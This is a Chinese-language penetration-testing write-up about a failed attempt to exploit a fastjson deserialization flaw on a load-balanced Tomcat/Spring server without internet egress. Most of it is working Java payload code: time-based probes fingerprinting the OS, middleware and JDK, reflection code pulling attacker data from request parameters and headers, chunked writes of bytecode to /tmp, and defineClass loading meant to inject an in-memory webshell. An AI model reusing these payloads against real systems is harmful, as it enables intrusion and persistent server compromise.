在社区中,较少看到关于“失败”案例的文章。本文将记录一次在负载均衡场景下失败的 fastjson 漏洞利用案例。
目标环境
ps:项目已经结束一段时间,截图全来自 burp 的历史记录,很难 100% 还原当时的历程,且看即可
漏洞点已做模糊处理
获取目标操作系统、中间件、框架、JDK版本信息
1)探测操作系统
探测原因
String osName = System.getProperty("os.name").toLowerCase();
if (osName.contains("nix") || osName.contains("nux") || osName.contains("mac")) {
Thread.sleep(3000);
} else if (osName.contains("win")) {
Thread.sleep(6000);
} else {
Thread.sleep(9000);
}
通过以上代码判断目标为 linux
2)探测中间件和框架
探测原因
Map<Thread, StackTraceElement[]> stackTraces = Thread.getAllStackTraces();
for (Map.Entry<Thread, StackTraceElement[]> entry : stackTraces.entrySet()) {
StackTraceElement[] stackTraceElements = entry.getValue();
for (StackTraceElement element : stackTraceElements) {
// element.getClassName().contains("org.springframework.web"
if (element.getClassName().contains("org.apache.catalina.core")) {
Thread.sleep(5000);
return;
}
}
}
通过堆栈的方式+类名推断目标为 tomcat + springmvc(大概率为springboot)
3)探测 jdk 版本
探测原因
低版本 jdk 缺少部分特性,如果构造的 payload 兼容性不够好(语法不支持),会导致误报,影响判断
越高的 jdk 就越多的特性,这会让缩短 payload 长度变得更容易
// 获取 Java 版本
String javaVersion = System.getProperty("java.version");
// 解析主版本号
int majorVersion = Integer.parseInt(javaVersion.split("\\.")[1]);
// 进行版本判断
switch (majorVersion) {
case 5:
Thread.sleep(1000);
break;
case 6:
Thread.sleep(2000);
break;
case 7:
Thread.sleep(3000);
break;
case 8:
Thread.sleep(4000);
break;
default:
Thread.sleep(5000);
break;
通过以上代码判断出 jdk 版本号为 8
先贴出结论
payload 分离方案
业务层面
代码层面
bcel 内嵌文件写入
远程加载
request inputstream
request parameter
request header
payload 利用方案
业务层面优先级 > 代码层面,但是由于是黑盒,业务层面只能靠翻 js 出奇迹
1)文件上传功能点- 失败
如果有文件上传功能,则可以直接上传payload,然后用 bcel 去加载执行,顺利的情况基本两个包就搞定,也就不需要再分段写 payload
回看 burpsuite 的 Site map 时,注意到以下响应:
/xxxxServer/show/material?url=[加密字符串]
访问该链接发现是个图片,一顿猜测路由触发 tomcat 报错(离成功近了10步)
/xxxxServer/upload/material
基本可以得出结论
每次能写入的内容太短,不考虑
3)远程加载 - 失败
目标不出网,失败(这个很好验证,这里跳过)
4)request header - 成功
已知目标为 tomcat + springmvc 的组合,理论上可以用 https://github.com/pen4uin/java-echo-generator-release 一把梭; 但实际情况是由于长度限制太短,payload 还需手动缩短;
经过多次测试,最终使用 springmvc 的工具类构造符合长度条件的 payload 如下:
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object requestAttributes = classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes").invoke((Object)null);
Object request = requestAttributes.getClass().getMethod("getRequest").invoke(requestAttributes);
// 传入 header name
String headerName = (String)request.getClass().getMethod("getParameter", String.class).invoke(request, "header_name");
// 判断后端接受到是否接收到 header
String flag = (String)request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (flag != null && !flag.equals("")) {
Thread.sleep(3000L);
}
首先判断是否接收到 Host
后续经过测试, X-Forwarded-For 能传递的内容长度在 1000 左右;在不考虑网络稳定性、负载均衡的情况下,注入内存马的的字节码(jMG生成)至少需要分16次写入
5)request inputstream - 失败
测试代码
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object requestAttributes = classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes").invoke(null);
Object request = requestAttributes.getClass().getMethod("getRequest").invoke(requestAttributes);
InputStream inputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
stringBuilder.append(line);
}
String code = stringBuilder.toString();
if (!code.contains("ok")) {
Thread.sleep(3000);
}
测试结果
6)request parameter - 成功
测试代码
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object requestAttributes = classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes").invoke(null);
Object request = requestAttributes.getClass().getMethod("getRequest").invoke(requestAttributes);
String flag;
// 判断是否能取到通过 request parameter 传入的参数
flag = (String) request.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(request, new Object[]{"flag"});
if (flag != null && !flag.equals("")) {
Thread.sleep(3000);
}
测试结果
后续经过测试,得到 get parameter 能传递的内容长度大概在 2000左右,比 request header 的方式写入次数少一倍(优先方案)
从以上枚举结果可以得到以下方案:
下面是具体的代码实现和利用过程
1)创建文件 - 成功
String fileName = "/tmp/code.txt";
String code = "";
File file = new File(fileName);
if (!file.exists()) {
BufferedWriter writer = new BufferedWriter(new java.io.FileWriter(fileName, true));
writer.write(code);
writer.close();
Thread.sleep(3000);
}
2)判断文件是否存在 - 成功
File file = new File("/tmp/code.txt");
if (file.exists()) {
Thread.sleep(3000);
}
3)拆分内存马的字节码,限制长度为 2000;
内存马字节码最终拆成了8组
4)从 request parameter 获取字节码内容进行写入 - 成功
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object requestAttributes = classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes").invoke(null);
Object request = requestAttributes.getClass().getMethod("getRequest").invoke(requestAttributes);
String code = (String) request.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(request, new Object[]{"user_name"});
File file = new File(file_path);
if (file.exists()) {
BufferedWriter writer = new BufferedWriter(new FileWriter(file_path, true));
writer.write(code);
writer.close();
Thread.sleep(3000);
}
5)读取字节码进行 defineClass - 失败
带着侥幸的心理进行尝试
try {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
byte[] fileBytes = Files.readAllBytes(Paths.get("/tmp/code.txt"));
String base64String = new String(fileBytes, StandardCharsets.UTF_8).replace("\r", "").replace("\n", "");
byte[] byteArray = base64Decode(base64String);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, byteArray, 0, byteArray.length);
clazz.newInstance();
Thread.sleep(3000);
} catch (Exception ignored) {
Thread.sleep(5000);
}
延时5 秒, 说明 defineClass 失败
6)排查失败原因
根据经验猜测可能的原因如下:
优化后的代码,主要针对负载的情况
1)创建文件
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object requestAttributes = classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes").invoke(null);
Object request = requestAttributes.getClass().getMethod("getRequest").invoke(requestAttributes);
String file_path = (String) request.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(request, new Object[]{"file_path"});
String code = (String) request.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(request, new Object[]{"user_name"});
if (file_path != null && !file_path.isEmpty()) {
File file = new File(file_path);
if (file.exists()) {
if (file.delete()) {
BufferedWriter writer = new BufferedWriter(new FileWriter(file_path, true));
writer.write(code);
writer.close();
Thread.sleep(3000);
}
}
}
优化:
2)追加文件内容
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object requestAttributes = classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes").invoke(null);
Object request = requestAttributes.getClass().getMethod("getRequest").invoke(requestAttributes);
String file_path = (String) request.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(request, new Object[]{"file_path"});
String small_size = (String) request.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(request, new Object[]{"small_size"});
String max_size = (String) request.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(request, new Object[]{"max_size"});
String code = (String) request.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(request, new Object[]{"user_name"});
if (file_path != null && !file_path.isEmpty()) {
File file = new File(file_path);
// 在写入内容前判断当前文件内容长度
if (file.exists() && file.length() > Long.parseLong(small_size) && file.length() < Long.parseLong(max_size)) {
BufferedWriter writer = new BufferedWriter(new FileWriter(file_path, true));
writer.write(code);
writer.close();
Thread.sleep(3000);
}
}
优化:
创建文件时写入了长度为 2000 的内容,后续追加内容时通过给定的范围对文件的大小进行判断,这样即使多次重放也不会带来其他干扰,以此保证不会出现同样的内容多次写入/内容遗漏的情况,使用举例:
第1次追加内容(创建文件时已写入 2000 长度的内容)
...
try {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
byte[] fileBytes = Files.readAllBytes(Paths.get("/tmp/code.txt"));
String base64String = new String(fileBytes, StandardCharsets.UTF_8).replace("\r", "").replace("\n", "");
byte[] byteArray = base64Decode(base64String);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, byteArray, 0, byteArray.length);
clazz.newInstance();
Thread.sleep(3000);
} catch (Exception ignored) {
Thread.sleep(5000);
}
public ClassExist() throws InterruptedException {
try {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
classLoader.loadClass("com.fasterxml.jackson.AbstractMatcherGjListener");
Thread.sleep(3000);
} catch (Exception ignored) {
Thread.sleep(5000);
}
}
可惜的是内存马还是连接失败,虽说有负载但一次都没命中也实在难以理解。
这个站花费了近两天的时间进行测试,虽然还有很多思路待尝试:
但是考虑到当时还有其他目标,以及即使成功注入内存马,可能存在的请求方式限制也会带来很多额外的适配工作,所以还是选择了放弃死磕。
漏洞利用虽然失败了,但也算是为《记一次 Shiro 的实战利用》文章末尾关于负载均衡+不出网利用的遗留问题提供了一种可选方案。